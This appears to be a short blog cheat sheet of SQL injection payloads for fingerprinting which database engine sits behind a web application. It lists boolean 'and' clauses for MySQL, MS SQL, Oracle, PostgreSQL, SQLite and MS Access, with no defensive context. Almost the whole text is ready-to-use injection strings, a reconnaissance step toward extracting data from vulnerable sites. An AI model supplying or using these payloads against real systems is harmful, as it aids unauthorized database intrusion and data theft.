sqli to check what database (MySQL, MsSQL, PostrageSQL, Oracle, SQLlite, MSACCESS)

 A Comparison between MySQL vs. MS SQL Server | by Mindfire Solutions |  Medium

 

 To check if db is used by MySQL

- and conv('a',16,2)=conv('a',16,2)

- and connection_id()=connection_id()

- and crc32('MySQL')=crc32('MySQL')

 

To check if db is used by MsSQL

- and BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)

- and @@CONNECTIONS>0

- and @@CONNECTIONS=@@CONNECTIONS

- and @@CPU_BUSY=@@CPU_BUSY

- and USER_ID(1)=USER_ID(1)


To check if db is used by Oracle

- and ROWNUM=ROWNUM

- and RAWTOHEX('AB')=RAWTOHEX('AB')

- and LNNVL(0=123)

 

To check if db is used by PostgreSQL

 - and 5::int=5

- and 5::integer=5

- and pg_client_encoding()=pg_client_encoding()

- and get_current_ts_config()=get_current_ts_config()

- and quote_literal(42.5)=quote_literal(42.5)

- and current_database()=current_database()

 

To check if db is used by SQLite

- and sqlite_version()=sqlite_version()

- and last_insert_rowid()>1

- and last_insert_rowid()=last_insert_rowid()

 

To check if db is used by MSACCESS

- and val(cvar(1))=1

- and IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0

- and cdbl(1)=cdbl(1)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Komentar